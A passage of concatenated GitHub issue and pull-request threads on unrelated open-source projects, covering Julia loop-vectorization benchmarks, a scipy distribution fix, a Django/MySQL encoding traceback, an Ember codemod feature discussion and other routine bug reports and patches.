         inv_2dz = 1/2dz
         inv_dz² = 1/dz^2
         dy .= 0
         We = 0.1
         @turbo for i = 2:N_tip-2
           fᵢ₋₂    = i < 5 ?  0.0 : f[i-2]
           fᵢ₋₁    = i < 4 ?  0.0 : f[i-1]
           fᵢ      = i == 2 ? 0.0 : f[i  ]
           fᵢ₊₁    =                f[i+1]
           fᵢ₊₂    =                f[i+2]

           dfᵢ₋₁  = (fᵢ   - fᵢ₋₂)*inv_2dz   # df/dz
           # dfᵢ    = (fᵢ₊₁ - fᵢ₋₁)*inv_2dz   # df/dz
           dfᵢ₊₁  = (fᵢ₊₂ - fᵢ  )*inv_2dz   # df/dz

           d2fᵢ₋₁ = (fᵢ   - 2fᵢ₋₁ + fᵢ₋₂)*inv_dz²   # d²f/dz²
           # d2fᵢ   = (fᵢ₊₁ - 2fᵢ   + fᵢ₋₁)*inv_dz²   # d²f/dz²
           d2fᵢ₊₁ = (fᵢ₊₂ - 2fᵢ₊₁ + fᵢ  )*inv_dz²   # d²f/dz²

           pᵢ₋₁ = i < 4 ? 0.0 : ((2-d2fᵢ₋₁)*fᵢ₋₁ + dfᵢ₋₁^2) / (2*sqrt(abs(1/4*dfᵢ₋₁^2 + fᵢ₋₁))^(3))
           # pᵢ   = i == 2 ? 0.0 : ((2-d2fᵢ  )*fᵢ   + dfᵢ ^2) / (2*abs(1/4*dfᵢ  ^2 + fᵢ  )^(3/2))
           pᵢ₊₁ =               ((2-d2fᵢ₊₁)*fᵢ₊₁ + dfᵢ₊₁^2) / (2*sqrt(abs(1/4*dfᵢ₊₁^2 + fᵢ₊₁))^(3))

           dy[i] = -BBB[i]

           viscᵢ₋₁ = i < 4 ? 0.0 : Ca[i-1] * (dfᵢ₋₁ - BBB[i-1]) / fᵢ₋₁
           # viscᵢ   = i == 2 ? 0.0 : Ca[i  ] * (dfᵢ   - BBB[i  ]) / fᵢ
           viscᵢ₊₁ =                Ca[i+1] * (dfᵢ₊₁ - BBB[i+1]) / fᵢ₊₁

           dvisc_dz = (viscᵢ₊₁-viscᵢ₋₁)*inv_2dz
           dp = (pᵢ₊₁-pᵢ₋₁)*inv_2dz   # dP/dz
           dy[N_tip+i] = -v_vz[i] - (dp + dvisc_dz)/We
         end
         return dy
       end
turbo_foo_root! (generic function with 1 method)

julia> foo!(dy1, f, Ca, BBB, v_vz, dz) ≈ turbo_foo_root!(dy2, f, Ca, BBB, v_vz, dz)
true

julia> @benchmark turbo_foo_root!($dy2, $f, $Ca, $BBB, $v_vz, $dz)
samples: 10000; evals/sample: 993; memory estimate: 0 bytes; allocs estimate: 0
ns

 (34.39 - 34.6 ]  ██████████████████████████████ 9639
 (34.6  - 34.81]  ▏4
 (34.81 - 35.03]   0
 (35.03 - 35.24]   0
 (35.24 - 35.46]  ▏4
 (35.46 - 35.67]  ▉259
 (35.67 - 35.89]  ▎57
 (35.89 - 36.1 ]  ▏11
 (36.1  - 36.31]  ▏9
 (36.31 - 36.53]  ▏1
 (36.53 - 36.74]  ▏2
 (36.74 - 36.96]  ▏1
 (36.96 - 37.17]  ▏2
 (37.17 - 37.38]  ▏1
 (37.38 - 60.06]  ▏10

                  Counts

min: 34.386 ns (0.00% GC); mean: 34.552 ns (0.00% GC); median: 34.502 ns (0.00% GC); max: 60.061 ns (0.00% GC).

julia> function turbo_foo_negpower!(dy, f, Ca, BBB, v_vz, dz)
         N_tip = length(f)
         length(dy) == 2N_tip && length(Ca) == length(BBB) == length(v_vz) == N_tip || throw(DimensionMismatch())

         inv_2dz = 1/2dz
         inv_dz² = 1/dz^2
         dy .= 0
         We = 0.1
         @turbo for i = 2:N_tip-2
           fᵢ₋₂    = i < 5 ?  0.0 : f[i-2]
           fᵢ₋₁    = i < 4 ?  0.0 : f[i-1]
           fᵢ      = i == 2 ? 0.0 : f[i  ]
           fᵢ₊₁    =                f[i+1]
           fᵢ₊₂    =                f[i+2]

           dfᵢ₋₁  = (fᵢ   - fᵢ₋₂)*inv_2dz   # df/dz
           # dfᵢ    = (fᵢ₊₁ - fᵢ₋₁)*inv_2dz   # df/dz
           dfᵢ₊₁  = (fᵢ₊₂ - fᵢ  )*inv_2dz   # df/dz

           d2fᵢ₋₁ = (fᵢ   - 2fᵢ₋₁ + fᵢ₋₂)*inv_dz²   # d²f/dz²
           # d2fᵢ   = (fᵢ₊₁ - 2fᵢ   + fᵢ₋₁)*inv_dz²   # d²f/dz²
           d2fᵢ₊₁ = (fᵢ₊₂ - 2fᵢ₊₁ + fᵢ  )*inv_dz²   # d²f/dz²

           pᵢ₋₁ = i < 4 ? 0.0 : ((2-d2fᵢ₋₁)*fᵢ₋₁ + dfᵢ₋₁^2) * (0.5*abs(1/4*dfᵢ₋₁^2 + fᵢ₋₁)^(-3/2))
           # pᵢ   = i == 2 ? 0.0 : ((2-d2fᵢ  )*fᵢ   + dfᵢ ^2) / (2*abs(1/4*dfᵢ  ^2 + fᵢ  )^(3/2))
           pᵢ₊₁ =               ((2-d2fᵢ₊₁)*fᵢ₊₁ + dfᵢ₊₁^2) * (0.5*abs(1/4*dfᵢ₊₁^2 + fᵢ₊₁)^(-3/2))

           dy[i] = -BBB[i]

           viscᵢ₋₁ = i < 4 ? 0.0 : Ca[i-1] * (dfᵢ₋₁ - BBB[i-1]) / fᵢ₋₁
           # viscᵢ   = i == 2 ? 0.0 : Ca[i  ] * (dfᵢ   - BBB[i  ]) / fᵢ
           viscᵢ₊₁ =                Ca[i+1] * (dfᵢ₊₁ - BBB[i+1]) / fᵢ₊₁

           dvisc_dz = (viscᵢ₊₁-viscᵢ₋₁)*inv_2dz
           dp = (pᵢ₊₁-pᵢ₋₁)*inv_2dz   # dP/dz
           dy[N_tip+i] = -v_vz[i] - (dp + dvisc_dz)/We
         end
         return dy
       end
turbo_foo_negpower! (generic function with 1 method)

julia> foo!(dy1, f, Ca, BBB, v_vz, dz) ≈ turbo_foo_negpower!(dy2, f, Ca, BBB, v_vz, dz)
true

julia> @benchmark turbo_foo_negpower!($dy2, $f, $Ca, $BBB, $v_vz, $dz)
samples: 10000; evals/sample: 990; memory estimate: 0 bytes; allocs estimate: 0
ns

 (41.93 - 42.41]  ██████████████████████████████ 9500
 (42.41 - 42.89]  ▎60
 (42.89 - 43.37]  ▍86
 (43.37 - 43.85]  █309
 (43.85 - 44.33]  ▏20
 (44.33 - 44.81]  ▏5
 (44.81 - 45.29]  ▏3
 (45.29 - 45.77]  ▏1
 (45.77 - 46.25]  ▏1
 (46.25 - 46.73]  ▏2
 (46.73 - 47.21]   0
 (47.21 - 47.69]  ▏2
 (47.69 - 48.17]   0
 (48.17 - 48.65]  ▏1
 (48.65 - 71.43]  ▏10

                  Counts

min: 41.925 ns (0.00% GC); mean: 42.317 ns (0.00% GC); median: 42.251 ns (0.00% GC); max: 71.434 ns (0.00% GC).

Relative performance will vary by CPU, which is why it'd be good for LoopVectorization to perform the optimization (i.e., it can pick using architectural details).
Note that LoopVectorization substitutes ^ for @inline pow_fast(x,y) = exp2(log2(x)*y), if you'd prefer greater accuracy:
julia> @inline mypow(x,y) = x^y

julia> function turbo_foo_negmypower!(dy, f, Ca, BBB, v_vz, dz)
         N_tip = length(f)
         length(dy) == 2N_tip && length(Ca) == length(BBB) == length(v_vz) == N_tip || throw(DimensionMismatch())

         inv_2dz = 1/2dz
         inv_dz² = 1/dz^2
         dy .= 0
         We = 0.1
         @turbo for i = 2:N_tip-2
           fᵢ₋₂    = i < 5 ?  0.0 : f[i-2]
           fᵢ₋₁    = i < 4 ?  0.0 : f[i-1]
           fᵢ      = i == 2 ? 0.0 : f[i  ]
           fᵢ₊₁    =                f[i+1]
           fᵢ₊₂    =                f[i+2]

           dfᵢ₋₁  = (fᵢ   - fᵢ₋₂)*inv_2dz   # df/dz
           # dfᵢ    = (fᵢ₊₁ - fᵢ₋₁)*inv_2dz   # df/dz
           dfᵢ₊₁  = (fᵢ₊₂ - fᵢ  )*inv_2dz   # df/dz

           d2fᵢ₋₁ = (fᵢ   - 2fᵢ₋₁ + fᵢ₋₂)*inv_dz²   # d²f/dz²
           # d2fᵢ   = (fᵢ₊₁ - 2fᵢ   + fᵢ₋₁)*inv_dz²   # d²f/dz²
           d2fᵢ₊₁ = (fᵢ₊₂ - 2fᵢ₊₁ + fᵢ  )*inv_dz²   # d²f/dz²

           pᵢ₋₁ = i < 4 ? 0.0 : ((2-d2fᵢ₋₁)*fᵢ₋₁ + dfᵢ₋₁^2) * (0.5*mypow(abs(1/4*dfᵢ₋₁^2 + fᵢ₋₁),(-3/2)))
           pᵢ₊₁ =               ((2-d2fᵢ₊₁)*fᵢ₊₁ + dfᵢ₊₁^2) * (0.5*mypow(abs(1/4*dfᵢ₊₁^2 + fᵢ₊₁),(-3/2)))

           dy[i] = -BBB[i]

           viscᵢ₋₁ = i < 4 ? 0.0 : Ca[i-1] * (dfᵢ₋₁ - BBB[i-1]) / fᵢ₋₁
           # viscᵢ   = i == 2 ? 0.0 : Ca[i  ] * (dfᵢ   - BBB[i  ]) / fᵢ
           viscᵢ₊₁ =                Ca[i+1] * (dfᵢ₊₁ - BBB[i+1]) / fᵢ₊₁

           dvisc_dz = (viscᵢ₊₁-viscᵢ₋₁)*inv_2dz
           dp = (pᵢ₊₁-pᵢ₋₁)*inv_2dz   # dP/dz
           dy[N_tip+i] = -v_vz[i] - (dp + dvisc_dz)/We
         end
         return dy
       end
turbo_foo_negmypower! (generic function with 1 method)

julia> foo!(dy1, f, Ca, BBB, v_vz, dz) ≈ turbo_foo_negmypower!(dy2, f, Ca, BBB, v_vz, dz)
true

julia> @benchmark turbo_foo_negmypower!($dy2, $f, $Ca, $BBB, $v_vz, $dz)
samples: 10000; evals/sample: 943; memory estimate: 0 bytes; allocs estimate: 0
ns

 (95.5   - 95.99 ]  ▏4
 (95.99  - 96.48 ]  █▌251
 (96.48  - 96.96 ]  ███████████████▊2856
 (96.96  - 97.45 ]  ██████████████████████████████5446
 (97.45  - 97.94 ]  ██▊479
 (97.94  - 98.43 ]  ███▋640
 (98.43  - 98.91 ]  █▍236
 (98.91  - 99.4  ]  ▍65
 (99.4   - 99.89 ]  ▏6
 (99.89  - 100.37]   0
 (100.37 - 100.86]  ▏1
 (100.86 - 101.35]  ▏3
 (101.35 - 101.84]   0
 (101.84 - 102.32]  ▏3
 (102.32 - 139.71]  ▏10

                  Counts

min: 95.504 ns (0.00% GC); mean: 97.203 ns (0.00% GC); median: 97.101 ns (0.00% GC); max: 139.710 ns (0.00% GC).

While much slower than any of the other @turbo methods we considered so far, it's still much faster than foo! (on this computer with AVX512), and it should be accurate to 1 ULP error, according to SLEEFPirate.jl's tests:
pow               : max 0.7971188400935709 at x = 94.88, 80.62                    : mean 0.12711344263659394

I just tested the error of pow_fast(x,y) = exp2(log2(x)*y) and it is unacceptably high.
That's a SLEEFPirates bug...I'll try and improve error.

LoopVectorization's current model for loops assumes all iterations are independent and can be reordered

Thanks.    I would suggest adding something like to the documentation for @turbo.   I just noticed that it is in the README, but I was looking in the @turbo docs  for restrictions like this and didn't see any.

(Closing as a duplicate.)


Hdds 3001

What changes were proposed in this pull request?
-Support for NFS v3 mountd support.
These set of changes are enough to get the mountd started using
'# ozone nfs3'
and it should show up in
'# showmount -e'
What is the link to the Apache JIRA
https://issues.apache.org/jira/browse/HDDS-3002
How was this patch tested?
It is tested manually by running a local nfs3 mount server for ozone.

Also this is same as #828. Can we close the other PR ?

I think this patch can be subdivided into a change where FileHandle is introduced in OzoneManager.

Agree, it seems to be one generic patch. Would be easier to follow the development with separating to smaller patches based on the sub-issues of HDDS-3001

thanks, I will create smaller patches and upload them.

@prashantpogde Thank you for working on this, it is great to see you are using OzoneFilesystem to access Ozone, but, i don't know if we have another better idea to avoid bring a new api getFileHandleInfo, and if we don't use OzoneFilesystem directly, it would be better to abstract this Ozone NFS into HCFS-NFS.

/pending "I will create smaller patches and upload them" + question from @maobaolong

/close


Change GasSpent and GasLimit to float

Resolves #1344

Codecov Report

Merging #1345 (f9732a1) into master (828364b) will decrease coverage by 8.94%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #1345      +/-   ##
==========================================
- Coverage   50.51%   41.57%   -8.95%
==========================================
  Files         145      145
  Lines        7544     9278    +1734
==========================================
+ Hits         3811     3857      +46
- Misses       3066     4818    +1752
+ Partials      667      603      -64

Impacted Files
Coverage Δ

pkg/core/consensus/testing/node.go
0.00% <0.00%> (-93.55%)
:arrow_down:

...ore/consensus/blockgenerator/candidate/testutil.go
0.00% <0.00%> (-90.91%)
:arrow_down:

pkg/core/consensus/testing/utils.go
0.00% <0.00%> (-75.61%)
:arrow_down:

...core/consensus/blockgenerator/candidate/genesis.go
0.00% <0.00%> (-69.24%)
:arrow_down:

...nsensus/blockgenerator/candidate/blockgenerator.go
0.00% <0.00%> (-64.29%)
:arrow_down:

pkg/gql/query/transactions.go
12.60% <0.00%> (-53.38%)
:arrow_down:

pkg/rpc/client/session.go
21.42% <0.00%> (-47.15%)
:arrow_down:

pkg/util/nativeutils/eventbus/eventbus.go
57.14% <0.00%> (-42.86%)
:arrow_down:

pkg/rpc/client/client.go
3.73% <0.00%> (-36.61%)
:arrow_down:

pkg/core/consensus/reduction/aggregator.go
56.25% <0.00%> (-35.06%)
:arrow_down:

... and 166 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3860c05...f9732a1. Read the comment docs.


Switch to pin-project-lite

Will fix #2388.
Blocked on taiki-e/pin-project-lite#3. (workaround)
Blocked on taiki-e/pin-project-lite#25.

After looking back at the issue I was able to remove the use of PinnedDrop in #2405, so we won't have to wait for PinnedDrop to land in pin-project-lite

After looking back at the issue I was able to remove the use of PinnedDrop in #2405, so we won't have to wait for PinnedDrop to land in pin-project-lite


Clicking ticked checkboxes in Tab menu will tick the next box

A very minor bug, but clicking a ticked box in the tab menu will tick the next box in a top-to-bottom sequence. If the bottom box is ticked and clicked, the top box will be ticked.

It's not a bug, I done this to prevent the user having none selected options. Maybe I should lock the uncheck ?


Feature/test release

This pull request contains:

GitHub workflow to build python package for Linux only
publishing it on the release page when tag a commit
new doc for python binding

Release page example
We can install python binding as regular python package via pip. I think it simplifies package using and will lead to more broadly using
The workflow contains code for windows building, but I cannot compile it with MS MPI. Changes in the source code are needed.

Can one of the admins verify this patch?


Add panic_abort to the build-std list to allow using panic="abort"

panic_abort allows developers to reduce binary size, but must be built for this target along with std if wanted. This commit allows using this by building the panic_abort crate in addition to the std crate.

@ian-h-chamberlain Adding the arguments to the command line does appear to work - perhaps there is no need for this change then


Grammar Adjustment

I may be incorrect here, and the coffee has not kicked in yet, but this appears to be two sentences when it should be one:
If you choose to link your virtual network with the private DNS zone without autoregistration. The virtual network is treated as a resolution virtual network only.

Should be:
If you choose to link your virtual network with the private DNS zone without autoregistration, the virtual network is treated as a resolution virtual network only.

In any case, I would like to voice my continuing appreciation for all the excellent work done here with Microsoft documentation. 👍

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 03726315-f560-b618-24ea-56f9d03687b9
Version Independent ID: 3f6141c0-86df-37cd-c134-7f4760f1e375
Content: What is a virtual network link subresource of Azure DNS private zones
Content Source: articles/dns/private-dns-virtual-network-links.md
Service: dns
GitHub Login: @rohinkoul
Microsoft Alias: rohink

Hello @Mike-E-angelo
Thank you for your feedback! We will review and update as appropriate.

Hello @Mike-E-angelo, Thank you for your feedback. I have incorporated the suggested change in the PR made here. It is currently under doc author's review.
We will now proceed to close this issue out. Please tag me in your response if you have any additional questions. Thank you!


using 2 separate methods instead of default ExecutionContext parameter

Hi @Thomvis
I think we shouldn't use a default value for the ExecutionContext parameter in flatMap method.
Because we will not be able to pass a function to the flatMap method as the following:
func foo(x: Int) -> Future<String, Error> {
}

let f = future(1)

f.flatMap(foo)     // error at here

Thanks for the PR, looks great! Would you have time to add a simple test that makes sure I won't accidentally break it in the future?

Hi @Thomvis
I have just added a test for flatMap. Please confirm it.

:star2: Looks great, thanks so much!

Thanks @Thomvis .

Hi @Thomvis . Could you make a release for this change with Swift 1.2?

Done! https://github.com/Thomvis/BrightFutures/releases/tag/v2.0.1

Thanks Thomvis.


race condition in tests on NewBlock event

Race condition in test on new block event for tendermint v0.9.2 on (develop / 0.17)
github.com/hyperledger/burrow/rpc/tendermint/test
=== RUN   TestSubscribe
--- FAIL: TestSubscribe (1.01s)
    websocket_client_test.go:298: Continued to see NewBlock event after unsubscribing

burrow version 0.17.0

This test was passing due to a globally scoped timeout that should have been a timeout within the final for loop. It is actually a real fail. The reason is a breaking change in go-rpc:
From ws_client.go:
// Subscribe to an event. Note the server must have a "subscribe" route
// defined.
func (wsc *WSClient) Subscribe(eventid string) error {
	err := wsc.WriteJSON(types.RPCRequest{
		JSONRPC: "2.0",
		ID:      "",
		Method:  "subscribe",
		Params:  map[string]interface{}{"event": eventid},
	})
	return err
}

// Unsubscribe from an event. Note the server must have a "unsubscribe" route
// defined.
func (wsc *WSClient) Unsubscribe(eventid string) error {
	err := wsc.WriteJSON(types.RPCRequest{
		JSONRPC: "2.0",
		ID:      "",
		Method:  "unsubscribe",
		Params:  map[string]interface{}{"event": eventid},
	})
	return err
}

Our unsubscribe method takes a 'subscriptionId' parameter, not an 'event' parameter. Before https://github.com/tendermint/go-rpc/commit/e1d5873bdfc95728971a38297ec3150a556397f9 there were no parameter names.
We should call the WriteJSON method ourselves.

so worth updating ours here: https://github.com/hyperledger/burrow/blob/develop/rpc/tendermint/core/routes.go#L42 ?
and carry forward the breaking change?  I'd opt for that over absorbing the breaking change in our code; burrow-client is the foremost user of tendermint rpc for burrow anyways

fixed in pr


Initial Demo Page Installation Error

Upon answering the prompt for installing the initial demo pages, I am presented with the following traceback:

Password:
Password (again):
Superuser created successfully.
Installed 2 object(s) from 1 fixture(s)

Would you like to install some initial demo pages?
Eg: About us, Contact form, Gallery. (yes/no): yes

Creating demo pages: About us, Contact form, Gallery ...

Installed 16 object(s) from 3 fixture(s)
Traceback (most recent call last):
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/backends/utils.py", line 65, in execute
    return self.cursor.execute(sql, params)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/backends/mysql/base.py", line 101, in execute
    return self.cursor.execute(query, args)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/MySQLdb/cursors.py", line 209, in execute
    res = self._query(query)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/MySQLdb/cursors.py", line 315, in _query
    db.query(q)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/MySQLdb/connections.py", line 226, in query
    _mysql.connection.query(self, query)
MySQLdb._exceptions.OperationalError: (1366, "Incorrect string value: '\\xCC\\x81vila...' for column 'file' at row 1")

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "manage.py", line 14, in <module>
    execute_from_command_line(sys.argv)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/core/management/__init__.py", line 363, in execute_from_command_line
    utility.execute()
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/core/management/__init__.py", line 355, in execute
    self.fetch_command(subcommand).run_from_argv(self.argv)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/core/management/base.py", line 283, in run_from_argv
    self.execute(*args, **cmd_options)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/core/management/base.py", line 330, in execute
    output = self.handle(*args, **options)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/mezzanine/core/management/commands/createdb.py", line 61, in handle
    func()
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/mezzanine/core/management/commands/createdb.py", line 124, in create_pages
    gallery.save()
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/mezzanine/pages/models.py", line 88, in save
    super(Page, self).save(*args, **kwargs)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/mezzanine/core/models.py", line 460, in save
    super(Orderable, self).save(*args, **kwargs)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/mezzanine/core/models.py", line 265, in save
    super(Displayable, self).save(*args, **kwargs)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/mezzanine/core/models.py", line 98, in save
    super(Slugged, self).save(*args, **kwargs)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/mezzanine/core/models.py", line 71, in save
    super(SiteRelated, self).save(*args, **kwargs)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/mezzanine/core/models.py", line 155, in save
    super(MetaData, self).save(*args, **kwargs)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/mezzanine/core/models.py", line 218, in save
    super(TimeStamped, self).save(*args, **kwargs)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/mezzanine/galleries/models.py", line 108, in save
    self.images.create(file=saved_path)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/models/fields/related_descriptors.py", line 650, in create
    return super(RelatedManager, self.db_manager(db)).create(**kwargs)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/models/manager.py", line 85, in manager_method
    return getattr(self.get_queryset(), name)(*args, **kwargs)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/models/query.py", line 393, in create
    obj.save(force_insert=True, using=self.db)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/mezzanine/galleries/models.py", line 156, in save
    super(GalleryImage, self).save(*args, **kwargs)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/mezzanine/core/models.py", line 460, in save
    super(Orderable, self).save(*args, **kwargs)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/models/base.py", line 806, in save
    force_update=force_update, update_fields=update_fields)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/models/base.py", line 836, in save_base
    updated = self._save_table(raw, cls, force_insert, force_update, using, update_fields)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/models/base.py", line 922, in _save_table
    result = self._do_insert(cls._base_manager, using, fields, update_pk, raw)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/models/base.py", line 961, in _do_insert
    using=using, raw=raw)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/models/manager.py", line 85, in manager_method
    return getattr(self.get_queryset(), name)(*args, **kwargs)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/models/query.py", line 1060, in _insert
    return query.get_compiler(using=using).execute_sql(return_id)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/models/sql/compiler.py", line 1099, in execute_sql
    cursor.execute(sql, params)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/backends/utils.py", line 80, in execute
    return super(CursorDebugWrapper, self).execute(sql, params)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/backends/utils.py", line 65, in execute
    return self.cursor.execute(sql, params)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/utils.py", line 94, in __exit__
    six.reraise(dj_exc_type, dj_exc_value, traceback)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/utils/six.py", line 685, in reraise
    raise value.with_traceback(tb)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/backends/utils.py", line 65, in execute
    return self.cursor.execute(sql, params)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/django/db/backends/mysql/base.py", line 101, in execute
    return self.cursor.execute(query, args)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/MySQLdb/cursors.py", line 209, in execute
    res = self._query(query)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/MySQLdb/cursors.py", line 315, in _query
    db.query(q)
  File "/home/addohm/code_projects/WoWGuild/env/lib/python3.7/site-packages/MySQLdb/connections.py", line 226, in query
    _mysql.connection.query(self, query)
django.db.utils.OperationalError: (1366, "Incorrect string value: '\\xCC\\x81vila...' for column 'file' at row 1")

Django 1.11 and Python 3.7.3
Current SQLite is not usable, is MySQL is also not usable?

mysql  Ver 14.14 Distrib 5.7.27, for Linux (x86_64)
The contact form seems okay, the gallery seems okay, the About page just says "About us" at the top and has two sub-categories - Team and History.  There are two empty boxes on the right side of the page on all pages except Blog (the bottom box fills in with "Feeds RSS/Atom"), and the footer seems a bit wonky.

Duplicate of #1941


Fix burr() distribution stats() method and add other methods

closes scipy issue #9544 (mean and stats method of burr() return erroneous results).
Also fixes the issues in fisk and burr12 that inherit from burr.
Adds unit test(s) for c<1 case (mean/variance are np.nan and c>1 case (mean is finite).
Also cleans up the docstring for burr and adds refs.
Retry of PR #9584 after rebase fail. See that PR for some discussion and comments, mostly but not entirely addressed.
https://github.com/scipy/scipy/pull/9584

I addressed some of the comments and pushed the changes. The moment calculations/unit tests should be (mostly) ok now. I'm still getting test failures locally on pdf - logpdf roundtrip comparisons.
I'll try to address that tomorrow evening. Maybe the PR that @pvanmulbregt opened a couple hours ago addresses the numeric errors I'm getting?

@rlucas7 I believe that all of this PR may now be incorporated into gh-9983. (Exception: I left the default testing parameters unchanged.) Is there anything missing?

Thanks for the ping, I’ll take a closer look tonight.
Sincerely,
-Lucas Roberts

On Apr 4, 2019, at 8:03 AM, Paul van Mulbregt<EMAIL_ADDRESS>wrote:
@rlucas7 I believe that all of this PR may now be incorporated into gh-9983. (Exception: I left the default testing parameters unchanged.) Is there anything missing?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.

Closing in favor of PR #9983


Simplify library code with array commands

ChoiceScript finally supports array creation commands: https://forum.choiceofgames.com/t/new-in-choicescript-create-array-temp-array-commands-page-break-advertisement/124442
We can simplify a lot of CSLIB code by adopting these.

Implemented by: https://github.com/ChoicescriptIDE/cslib/pull/48


Can entry be an interface{} type?

I don't understand why entry should be a []byte type? This makes me do extra Marshal/Unmarshal work when I Set/Get items.

Hi there, well, that's one of initial designs goals - be able to cache data received through network. That's why the data is marshaled to []byte.
You might want to use https://github.com/hashicorp/golang-lru

Thanks answering my confusion. I think i would want to use like  https://github.com/hashicorp/golang-lru + https://github.com/patrickmn/go-cache/issues.


Highlight missing on simple UPDATE query

Hello.
There is no highlight for the following query:
UPDATE table_name SET column = 'value' WHERE column = 'value'

This happens because the UPDATE injection is expecting the "FROM" keyword, which is not required on the "UPDATE" statement.
I think it might be as simple as removing the "FROM" keyword from the "UPDATE" statement.
By the way, great job on the plugin/query injection, very helpful.

Fixed !
Thanks


Run codemod on a subset of folders?

Is there a way to run the codemod on a subset of folders? The idea would be so you could incrementally ship the unpodding work one pod at a time, instead of doing all the pods at once.
my-project/
  app/
    my-pod-a/
    my-pod-b/

I've tried --type app --root my-pod-a but this returns nothing.
I've also tried --type app --pod-path my-pod-a but this drops the pod name from the output files.
I think what's missing is a halfway measure, where podPath is used to constrain the findFiles() call, but then podPath is ignored for the downstream renamePodPath() call.

One idea is a new flag like --pod my-pod-a and then we take lines like these
https://github.com/ijlee2/ember-codemod-pod-to-octane/blob/7e99adcc0d78dc009028f7d5ee90a8f7b4fdcc1f/src/migration/ember-app/steps/create-file-path-maps/app/map-route-routes.ts#L14
and make them
join('app', podPath, pod, '**', 'route.{js,ts}')

I think that should compose the intent of podPath and pod appropriately, but I'm not totally sure I understand the use cases for podPath.

I did a spike on this for Ember Apps and the approach mostly works.
https://github.com/ijlee2/ember-codemod-pod-to-octane/compare/main...apellerano-pw:ember-codemod-pod-to-octane:incremental-pods?expand=1
There's one latent bug that I think I discovered with this. for app/map-route-templates.ts, it generates a path like
app/my-pod-a/!(components)/**/template.hbs

but this is incorrect if you have a file structure like
my-project/
  app/
    my-pod-a/
      route.js
      template.hbs

it won't find app/my-pod-a/template.hbs because there's no folder in between my-pod-a and ** which matches !(components).

I think the !(foo) patterns have to be expressed with ignoreList to work correctly with podPath or pod
e.g. route template matcher that wants to avoid component templates would work like this
  const filePaths = findFiles(join('app', podPath, pod, '**', 'template.hbs'), {
    ignoreList: [join('app', podPath, pod, 'components', '**')],
    projectRoot,
  });

Hi, @apellerano-pw. Thanks for your feedback and reporting a possible bug.
It has been a while since I've taken a look at the source code. Before I weigh in on whether to add a codemod option, let me first refactor the project and make it similar to a couple of other codemods that I maintain.

@apellerano-pw At the moment, I lean towards not adding a codemod option that causes the codemod to run on a subset of folders. While I like incremental migrations, I don't want to increase the maintenance cost by writing additional test cases, if the benefit may be relatively low.
I believe we'd need to add 2 options (i.e. 2 options × 2 project types = 4 more test cases), because pod names for components and routes are independent.
--
That said, I do think we can update the codemod so that end-developers can clone the project and modify it to target a subset of folders. And that solution is what you observed already:

I think the !(foo) patterns have to be expressed with ignoreList to work correctly with podPath or pod

Can you search for places that have ! and perform these 2 refactors:

Create a temporary variable called src, which joins the "usual" source directory and podPath?
Remove ! from the wildcard pattern by passing ignoreList to the options hash (the 2nd parameter for findFiles()).

For example, mapRouteStylesheets() would end up looking like,
import { join } from 'node:path';

import { findFiles } from '@codemod-utils/files';

import type {
  FilePathMapEntries,
  Options,
} from '../../../../../types/index.js';
import { renamePodPath } from '../../../../../utils/files/index.js';

export function mapRouteStylesheets(options: Options): FilePathMapEntries {
  const { podPath, projectRoot } = options;

  const src = join('app', podPath);

